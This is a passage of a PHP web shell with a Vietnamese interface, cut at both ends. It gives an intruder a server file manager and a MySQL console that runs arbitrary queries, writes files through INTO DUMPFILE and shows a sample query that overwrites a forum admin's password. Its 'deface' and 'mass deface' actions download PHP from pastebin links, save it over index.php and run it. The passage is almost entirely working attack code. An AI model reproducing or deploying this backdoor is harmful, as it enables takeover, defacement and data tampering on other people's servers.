  862. p(' | <a href="javascript:godir(\'' . $nowpath . '\');">View All</a>');
  863. } else {
  864. p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">View Writable</a>');
  865. }
  866. p(' | <a href="javascript:createdir();">T&#7841;o Th&#432; M&#7909;c</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">T&#7841;o File</a>');
  867. if (IS_WIN && IS_COM) {
  868. $obj = new COM('scripting.filesystemobject');
  869. if ($obj && is_object($obj)) {
  870. $DriveTypeDB = array(0 => 'Unknow', 1 => 'Removable', 2 => 'Fixed', 3 => 'Network', 4 => 'CDRom', 5 => 'RAM Disk');
  871. foreach ($obj->Drives as $drive) {
  872. if ($drive->DriveType == 2) {
  873. p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . '&#13;Free:' . sizecount($drive->FreeSpace) . '&#13;Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
  874. } else {
  875. p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
  876. }
  877. }
  878. }
  879. }
  880. p('</td></tr></form>');
  881. p('<tr class="head"><td>&nbsp;</td><td>T&#234;n File</td><td width="16%">L&#7847;n &#272;&#259;ng Nh&#7853;p Cu&#7889;i</td><td width="10%">K&#237;ch Th&#432;&#7899;c</td><td width="20%">Chmod / Perms</td><td width="22%">H&#224;nh &#272;&#7897;ng</td></tr>');
  882. // Get path
  883. $dirdata = array();
  884. $filedata = array();
  885. if ($view_writable) {
  886. $dirdata = GetList($nowpath);
  887. } else {
  888. // Open dir
  889. $dirs = @opendir($dir);
  890. while ($file = @readdir($dirs)) {
  891. $filepath = $nowpath . $file;
  892. if (@is_dir($filepath)) {
  893. $dirdb['filename'] = $file;
  894. $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
  895. $dirdb['dirchmod'] = getChmod($filepath);
  896. $dirdb['dirperm'] = getPerms($filepath);
  897. $dirdb['fileowner'] = getUser($filepath);
  898. $dirdb['dirlink'] = $nowpath;
  899. $dirdb['server_link'] = $filepath;
  900. $dirdb['client_link'] = ue($filepath);
  901. $dirdata[] = $dirdb;
  902. } else {
  903. $filedb['filename'] = $file;
  904. $filedb['size'] = sizecount(@filesize($filepath));
  905. $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
  906. $filedb['filechmod'] = getChmod($filepath);
  907. $filedb['fileperm'] = getPerms($filepath);
  908. $filedb['fileowner'] = getUser($filepath);
  909. $filedb['dirlink'] = $nowpath;
  910. $filedb['server_link'] = $filepath;
  911. $filedb['client_link'] = ue($filepath);
  912. $filedata[] = $filedb;
  913. }
  914. } // while
  915. unset($dirdb);
  916. unset($filedb);
  917. @closedir($dirs);
  918. }
  919. @sort($dirdata);
  920. @sort($filedata);
  921. $dir_i = '0';
  922. foreach ($dirdata as $key => $dirdb) {
  923. if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
  924. $thisbg = bg();
  925. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  926. p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
  927. p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
  928. p('<td nowrap>' . $dirdb['mtime'] . '</td>');
  929. p('<td nowrap>--</td>');
  930. p('<td nowrap>');
  931. p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
  932. p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
  933. p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'Are you sure will delete ' . $dirdb['filename'] . '? \\n\\nIf non-empty directory, will be delete all the files.\')">X&#243;a File</a> | <a href="javascrip:rename(\'' . $dirdb['server_link'] . '\');">&#272;&#7893;i T&#234;n</a></td>');
  934. p('</tr>');
  935. $dir_i++;
  936. } else {
  937. if ($dirdb['filename'] == '..') {
  938. p('<tr class=fout>');
  939. p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">V&#7873; Tr&#432;&#7899;c</a></td>');
  940. p('</tr>');
  941. }
  942. }
  943. }
  944. p('<tr bgcolor="red" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
  945. p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
  946. makehide('action', 'file');
  947. makehide('thefile');
  948. makehide('doing');
  949. makehide('dir', $nowpath);
  950. $file_i = '0';
  951. foreach ($filedata as $key => $filedb) {
  952. if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
  953. $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
  954. $thisbg = bg();
  955. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  956. p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
  957. p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
  958. p('<td nowrap>' . $filedb['mtime'] . '</td>');
  959. p('<td nowrap>' . $filedb['size'] . '</td>');
  960. p('<td nowrap>');
  961. p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
  962. p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
  963. p('<td nowrap>');
  964. p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">T&#7843;i Xu&#7889;ng</a> | ');
  965. p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Sao Ch&#233;p</a> | ');
  966. p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Ch&#7881;nh S&#7917;a</a> | ');
  967. p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">&#272;&#7893;i T&#234;n</a> | ');
  968. p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Th&#7901;i Gian</a>');
  969. p('</td></tr>');
  970. $file_i++;
  971. }
  972. }
  973. p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">T&#7843;i File &#272;&#227; Ch&#7885;n</a> - <a href="javascript:dofile(\'delfiles\');">X&#243;a File &#272;&#227; Ch&#7885;n</a></td><td colspan="4" align="right">' . $dir_i . ' Th&#432; M&#7909;c / ' . $file_i . ' files</td></tr>');
  974. p('</form></table>');
  975. } // end dir
  976. elseif ($action == 'sqlfile') {
  977. if ($doing == "mysqlupload") {
  978. $file = $_FILES['uploadfile'];
  979. $filename = $file['tmp_name'];
  980. if (file_exists($savepath)) {
  981. m('The goal file has already existed');
  982. } else {
  983. if (!$filename) {
  984. m('Please choose a file');
  985. } else {
  986. $fp = @fopen($filename, 'r');
  987. $contents = @fread($fp, filesize($filename));
  988. @fclose($fp);
  989. $contents = bin2hex($contents);
  990. if (!$upname) $upname = $file['name'];
  991. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  992. $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
  993. m($result ? 'Upload success' : 'Upload has failed: ' . mysql_error());
  994. }
  995. }
  996. }
  997. ?>
  998.  
  999. <script type="text/javascript">
  1000.  
  1001. function mysqlfile(doing){
  1002.  
  1003. if(!doing) return;
  1004.  
  1005. $('doing').value=doing;
  1006.  
  1007. $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  1008.  
  1009. $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  1010.  
  1011. $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  1012.  
  1013. $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  1014.  
  1015. $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  1016.  
  1017. $('mysqlfile').charset.value=$('dbinfo').charset.value;
  1018.  
  1019. $('mysqlfile').submit();
  1020.  
  1021. }
  1022.  
  1023. </script>
  1024.  
  1025. <?php
  1026. !$dbhost && $dbhost = 'localhost';
  1027. !$dbuser && $dbuser = 'root';
  1028. !$dbport && $dbport = '3306';
  1029. $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
  1030. formhead(array('title' => 'MYSQL Information', 'name' => 'dbinfo'));
  1031. makehide('action', 'sqlfile');
  1032. p('<p>');
  1033. p('DBHost:');
  1034. makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
  1035. p(':');
  1036. makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
  1037. p('DBUser:');
  1038. makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
  1039. p('DBPass:');
  1040. makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
  1041. p('DBName:');
  1042. makeinput(array('name' => 'dbname', 'size' => 15, 'value' => $dbname));
  1043. p('DBCharset:');
  1044. makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
  1045. p('</p>');
  1046. formfoot();
  1047. p('<form action="' . $self . '" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
  1048. p('<h2>Upload file</h2>');
  1049. p('<p><b>This operation the DB user must has FILE privilege</b></p>');
  1050. p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
  1051. p('<h2>Download file</h2>');
  1052. p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
  1053. makehide('dbhost');
  1054. makehide('dbport');
  1055. makehide('dbuser');
  1056. makehide('dbpass');
  1057. makehide('dbname');
  1058. makehide('charset');
  1059. makehide('doing');
  1060. makehide('action', 'sqlfile');
  1061. p('</form>');
  1062. } elseif ($action == 'sqladmin') {
  1063. !$dbhost && $dbhost = 'localhost';
  1064. !$dbuser && $dbuser = 'root';
  1065. !$dbport && $dbport = '3306';
  1066. $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  1067. if (isset($dbhost)) {
  1068. $dbform.= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  1069. }
  1070. if (isset($dbuser)) {
  1071. $dbform.= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  1072. }
  1073. if (isset($dbpass)) {
  1074. $dbform.= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  1075. }
  1076. if (isset($dbport)) {
  1077. $dbform.= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  1078. }
  1079. if (isset($dbname)) {
  1080. $dbform.= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  1081. }
  1082. if (isset($charset)) {
  1083. $dbform.= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  1084. }
  1085. if ($doing == 'backupmysql' && $saveasfile) {
  1086. if (!$table) {
  1087. m('Please choose the table');
  1088. } else {
  1089. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  1090. $table = array_flip($table);
  1091. $fp = @fopen($path, 'w');
  1092. if ($fp) {
  1093. $result = q('SHOW tables');
  1094. if (!$result) p('<h2>' . mysql_error() . '</h2>');
  1095. $mysqldata = '';
  1096. while ($currow = mysql_fetch_array($result)) {
  1097. if (isset($table[$currow[0]])) {
  1098. sqldumptable($currow[0], $fp);
  1099. }
  1100. }
  1101. fclose($fp);
  1102. $fileurl = str_replace(SA_ROOT, '', $path);
  1103. m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
  1104. mysql_close();
  1105. } else {
  1106. m('Backup failed');
  1107. }
  1108. }
  1109. }
  1110. if ($insert && $insertsql) {
  1111. $keystr = $valstr = $tmp = '';
  1112. foreach ($insertsql as $key => $val) {
  1113. if ($val) {
  1114. $keystr.= $tmp . $key;
  1115. $valstr.= $tmp . "'" . addslashes($val) . "'";
  1116. $tmp = ',';
  1117. }
  1118. }
  1119. if ($keystr && $valstr) {
  1120. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  1121. m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  1122. }
  1123. }
  1124. if ($update && $insertsql && $base64) {
  1125. $valstr = $tmp = '';
  1126. foreach ($insertsql as $key => $val) {
  1127. $valstr.= $tmp . $key . "='" . addslashes($val) . "'";
  1128. $tmp = ',';
  1129. }
  1130. if ($valstr) {
  1131. $where = base64_decode($base64);
  1132. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  1133. m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  1134. }
  1135. }
  1136. if ($doing == 'del' && $base64) {
  1137. $where = base64_decode($base64);
  1138. $delete_sql = "DELETE FROM $tablename WHERE $where";
  1139. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  1140. m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  1141. }
  1142. if ($tablename && $doing == 'drop') {
  1143. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  1144. if (q("DROP TABLE $tablename")) {
  1145. m('Drop table of success');
  1146. $tablename = '';
  1147. } else {
  1148. m(mysql_error());
  1149. }
  1150. }
  1151. $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
  1152. formhead(array('title' => 'MYSQL Manager'));
  1153. makehide('action', 'sqladmin');
  1154. p('<p>');
  1155. p('DBHost:');
  1156. makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
  1157. p(':');
  1158. makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
  1159. p('DBUser:');
  1160. makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
  1161. p('DBPass:');
  1162. makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
  1163. p('DBCharset:');
  1164. makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
  1165. makeinput(array('name' => 'connect', 'value' => 'Connect', 'type' => 'submit', 'class' => 'bt'));
  1166. p('</p>');
  1167. formfoot();
  1168. ?>
  1169.  
  1170. <script type="text/javascript">
  1171.  
  1172. function editrecord(action, base64, tablename){
  1173.  
  1174. if (action == 'del') {
  1175.  
  1176. if (!confirm('Is or isn\'t deletion record?')) return;
  1177.  
  1178. }
  1179.  
  1180. $('recordlist').doing.value=action;
  1181.  
  1182. $('recordlist').base64.value=base64;
  1183.  
  1184. $('recordlist').tablename.value=tablename;
  1185.  
  1186. $('recordlist').submit();
  1187.  
  1188. }
  1189.  
  1190. function moddbname(dbname) {
  1191.  
  1192. if(!dbname) return;
  1193.  
  1194. $('setdbname').dbname.value=dbname;
  1195.  
  1196. $('setdbname').submit();
  1197.  
  1198. }
  1199.  
  1200. function settable(tablename,doing,page) {
  1201.  
  1202. if(!tablename) return;
  1203.  
  1204. if (doing) {
  1205.  
  1206. $('settable').doing.value=doing;
  1207.  
  1208. }
  1209.  
  1210. if (page) {
  1211.  
  1212. $('settable').page.value=page;
  1213.  
  1214. }
  1215.  
  1216. $('settable').tablename.value=tablename;
  1217.  
  1218. $('settable').submit();
  1219.  
  1220. }
  1221.  
  1222. </script>
  1223.  
  1224. <?php
  1225. // SQL
  1226. formhead(array('name' => 'recordlist'));
  1227. makehide('doing');
  1228. makehide('action', 'sqladmin');
  1229. makehide('base64');
  1230. makehide('tablename');
  1231. p($dbform);
  1232. formfoot();
  1233. // Data
  1234. formhead(array('name' => 'setdbname'));
  1235. makehide('action', 'sqladmin');
  1236. p($dbform);
  1237. if (!$dbname) {
  1238. makehide('dbname');
  1239. }
  1240. formfoot();
  1241. formhead(array('name' => 'settable'));
  1242. makehide('action', 'sqladmin');
  1243. p($dbform);
  1244. makehide('tablename');
  1245. makehide('page', $page);
  1246. makehide('doing');
  1247. formfoot();
  1248. $cachetables = array();
  1249. $pagenum = 30;
  1250. $page = intval($page);
  1251. if ($page) {
  1252. $start_limit = ($page - 1) * $pagenum;
  1253. } else {
  1254. $start_limit = 0;
  1255. $page = 1;
  1256. }
  1257. if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  1258. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  1259. // get mysql server
  1260. $mysqlver = mysql_get_server_info();
  1261. p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
  1262. $highver = $mysqlver > '4.1' ? 1 : 0;
  1263. // Show database
  1264. $query = q("SHOW DATABASES");
  1265. $dbs = array();
  1266. $dbs[] = '-- Select a database --';
  1267. while ($db = mysql_fetch_array($query)) {
  1268. $dbs[$db['Database']] = $db['Database'];
  1269. }
  1270. makeselect(array('title' => 'Please select a database:', 'name' => 'db[]', 'option' => $dbs, 'selected' => $dbname, 'onchange' => 'moddbname(this.options[this.selectedIndex].value)', 'newline' => 1));
  1271. $tabledb = array();
  1272. if ($dbname) {
  1273. p('<p>');
  1274. p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
  1275. if ($tablename) {
  1276. p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
  1277. }
  1278. p('</p>');
  1279. mysql_select_db($dbname);
  1280. $getnumsql = '';
  1281. $runquery = 0;
  1282. if ($sql_query) {
  1283. $runquery = 1;
  1284. }
  1285. $allowedit = 0;
  1286. if ($tablename && !$sql_query) {
  1287. $sql_query = "SELECT * FROM $tablename";
  1288. $getnumsql = $sql_query;
  1289. $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
  1290. $allowedit = 1;
  1291. }
  1292. p('<form action="' . $self . '" method="POST">');
  1293. p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
  1294.  
  1295. </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  1296. makehide('tablename', $tablename);
  1297. makehide('action', 'sqladmin');
  1298. p($dbform);
  1299. p('</form>');
  1300. if ($tablename || ($runquery && $sql_query)) {
  1301. if ($doing == 'structure') {
  1302. $result = q("SHOW COLUMNS FROM $tablename");
  1303. $rowdb = array();
  1304. while ($row = mysql_fetch_array($result)) {
  1305. $rowdb[] = $row;
  1306. }
  1307. p('<table border="0" cellpadding="3" cellspacing="0">');
  1308. p('<tr class="head">');
  1309. p('<td>Field</td>');
  1310. p('<td>Type</td>');
  1311. p('<td>Null</td>');
  1312. p('<td>Key</td>');
  1313. p('<td>Default</td>');
  1314. p('<td>Extra</td>');
  1315. p('</tr>');
  1316. foreach ($rowdb as $row) {
  1317. $thisbg = bg();
  1318. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1319. p('<td>' . $row['Field'] . '</td>');
  1320. p('<td>' . $row['Type'] . '</td>');
  1321. p('<td>' . $row['Null'] . '&nbsp;</td>');
  1322. p('<td>' . $row['Key'] . '&nbsp;</td>');
  1323. p('<td>' . $row['Default'] . '&nbsp;</td>');
  1324. p('<td>' . $row['Extra'] . '&nbsp;</td>');
  1325. p('</tr>');
  1326. }
  1327. tbfoot();
  1328. } elseif ($doing == 'insert' || $doing == 'edit') {
  1329. $result = q('SHOW COLUMNS FROM ' . $tablename);
  1330. while ($row = mysql_fetch_array($result)) {
  1331. $rowdb[] = $row;
  1332. }
  1333. $rs = array();
  1334. if ($doing == 'insert') {
  1335. p('<h2>Insert new line in ' . $tablename . ' table &raquo;</h2>');
  1336. } else {
  1337. p('<h2>Update record in ' . $tablename . ' table &raquo;</h2>');
  1338. $where = base64_decode($base64);
  1339. $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  1340. $rs = mysql_fetch_array($result);
  1341. }
  1342. p('<form method="post" action="' . $self . '">');
  1343. p($dbform);
  1344. makehide('action', 'sqladmin');
  1345. makehide('tablename', $tablename);
  1346. p('<table border="0" cellpadding="3" cellspacing="0">');
  1347. foreach ($rowdb as $row) {
  1348. if ($rs[$row['Field']]) {
  1349. $value = htmlspecialchars($rs[$row['Field']]);
  1350. } else {
  1351. $value = '';
  1352. }
  1353. $thisbg = bg();
  1354. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1355. p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
  1356. }
  1357. if ($doing == 'insert') {
  1358. p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  1359. } else {
  1360. p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  1361. makehide('base64', $base64);
  1362. }
  1363. p('</table></form>');
  1364. } else {
  1365. $querys = @explode(';', $sql_query);
  1366. foreach ($querys as $num => $query) {
  1367. if ($query) {
  1368. p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
  1369. switch (qy($query)) {
  1370. case 0:
  1371. p('<h2>Error : ' . mysql_error() . '</h2>');
  1372. break;
  1373. case 1:
  1374. if (strtolower(substr($query, 0, 13)) == 'select * from') {
  1375. $allowedit = 1;
  1376. }
  1377. if ($getnumsql) {
  1378. $tatol = mysql_num_rows(q($getnumsql));
  1379. $multipage = multi($tatol, $pagenum, $page, $tablename);
  1380. }
  1381. if (!$tablename) {
  1382. $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  1383. $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  1384. preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
  1385. $tablename = $matches[1][0];
  1386. }
  1387. $result = q($query);
  1388. p($multipage);
  1389. p('<table border="0" cellpadding="3" cellspacing="0">');
  1390. p('<tr class="head">');
  1391. if ($allowedit) p('<td>Action</td>');
  1392. $fieldnum = @mysql_num_fields($result);
  1393. for ($i = 0;$i < $fieldnum;$i++) {
  1394. $name = @mysql_field_name($result, $i);
  1395. $type = @mysql_field_type($result, $i);
  1396. $len = @mysql_field_len($result, $i);
  1397. p("<td nowrap>$name<br><span>$type($len)</span></td>");
  1398. }
  1399. p('</tr>');
  1400. while ($mn = @mysql_fetch_assoc($result)) {
  1401. $thisbg = bg();
  1402. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1403. $where = $tmp = $b1 = '';
  1404. foreach ($mn as $key => $inside) {
  1405. if ($inside) {
  1406. $where.= $tmp . $key . "='" . addslashes($inside) . "'";
  1407. $tmp = ' AND ';
  1408. }
  1409. $b1.= '<td nowrap>' . html_clean($inside) . '&nbsp;</td>';
  1410. }
  1411. $where = base64_encode($where);
  1412. if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Ch?nh S?a</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">X\F3a</a></td>');
  1413. p($b1);
  1414. p('</tr>');
  1415. unset($b1);
  1416. }
  1417. tbfoot();
  1418. p($multipage);
  1419. break;
  1420. case 2:
  1421. $ar = mysql_affected_rows();
  1422. p('<h2>affected rows : <b>' . $ar . '</b></h2>');
  1423. break;
  1424. }
  1425. }
  1426. }
  1427. }
  1428. } else {
  1429. $query = q("SHOW TABLE STATUS");
  1430. $table_num = $table_rows = $data_size = 0;
  1431. $tabledb = array();
  1432. while ($table = mysql_fetch_array($query)) {
  1433. $data_size = $data_size + $table['Data_length'];
  1434. $table_rows = $table_rows + $table['Rows'];
  1435. $table['Data_length'] = sizecount($table['Data_length']);
  1436. $table_num++;
  1437. $tabledb[] = $table;
  1438. }
  1439. $data_size = sizecount($data_size);
  1440. unset($table);
  1441. p('<table border="0" cellpadding="0" cellspacing="0">');
  1442. p('<form action="' . $self . '" method="POST">');
  1443. makehide('action', 'sqladmin');
  1444. p($dbform);
  1445. p('<tr class="head">');
  1446. p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1447. p('<td>Name</td>');
  1448. p('<td>Rows</td>');
  1449. p('<td>Data_length</td>');
  1450. p('<td>Create_time</td>');
  1451. p('<td>Update_time</td>');
  1452. if ($highver) {
  1453. p('<td>Engine</td>');
  1454. p('<td>Collation</td>');
  1455. }
  1456. p('</tr>');
  1457. foreach ($tabledb as $key => $table) {
  1458. $thisbg = bg();
  1459. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1460. p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
  1461. p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
  1462. p('<td>' . $table['Rows'] . '</td>');
  1463. p('<td>' . $table['Data_length'] . '</td>');
  1464. p('<td>' . $table['Create_time'] . '</td>');
  1465. p('<td>' . $table['Update_time'] . '</td>');
  1466. if ($highver) {
  1467. p('<td>' . $table['Engine'] . '</td>');
  1468. p('<td>' . $table['Collation'] . '</td>');
  1469. }
  1470. p('</tr>');
  1471. }
  1472. p('<tr class=fout>');
  1473. p('<td>&nbsp;</td>');
  1474. p('<td>Total tables: ' . $table_num . '</td>');
  1475. p('<td>' . $table_rows . '</td>');
  1476. p('<td>' . $data_size . '</td>');
  1477. p('<td colspan="' . ($highver ? 4 : 2) . '">&nbsp;</td>');
  1478. p('</tr>');
  1479. p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  1480. makehide('doing', 'backupmysql');
  1481. formfoot();
  1482. p("</table>");
  1483. fr($query);
  1484. }
  1485. }
  1486. }
  1487. tbfoot();
  1488. @mysql_close();
  1489. } //end sql backup
  1490. //deface
  1491. elseif ($action == 'deface') {
  1492. $index = 'http://pastebin.com/raw.php?i=rPy0QPdP';
  1493. $get18 = file_get_contents($index);
  1494. $nam18 = fopen('index.php', 'w');
  1495. fwrite($nam18, $get18);
  1496. fclose($nam18);
  1497. echo "<iframe src='index.php' width='100%' height='500'></iframe>";
  1498. }
  1499. //mass deface
  1500. elseif ($action == 'mass') {
  1501. $mass = 'http://pastebin.com/raw.php?i=xct83ZZZ';
  1502. $massdf = file_get_contents($mass);
  1503. $mdf = fopen('massdf.php', 'w');
  1504. fwrite($mdf, $massdf);
  1505. fclose($mdf);
  1506. echo "<iframe src='massdf.php' width='100%' height='500'></iframe>";
  1507. }
  1508. //reip
  1509. elseif ($action == 'reip') {
  1510. echo "<iframe src='http://www.yougetsignal.com/tools/web-sites-on-web-server/' width='100%' height='500'></iframe>";
  1511. }
  1512. //Changes
  1513. elseif ($action == 'changepas') {
  1514. $file = fopen($dir . "change-pas.php", "w+");
  1515. $perltoolss = '
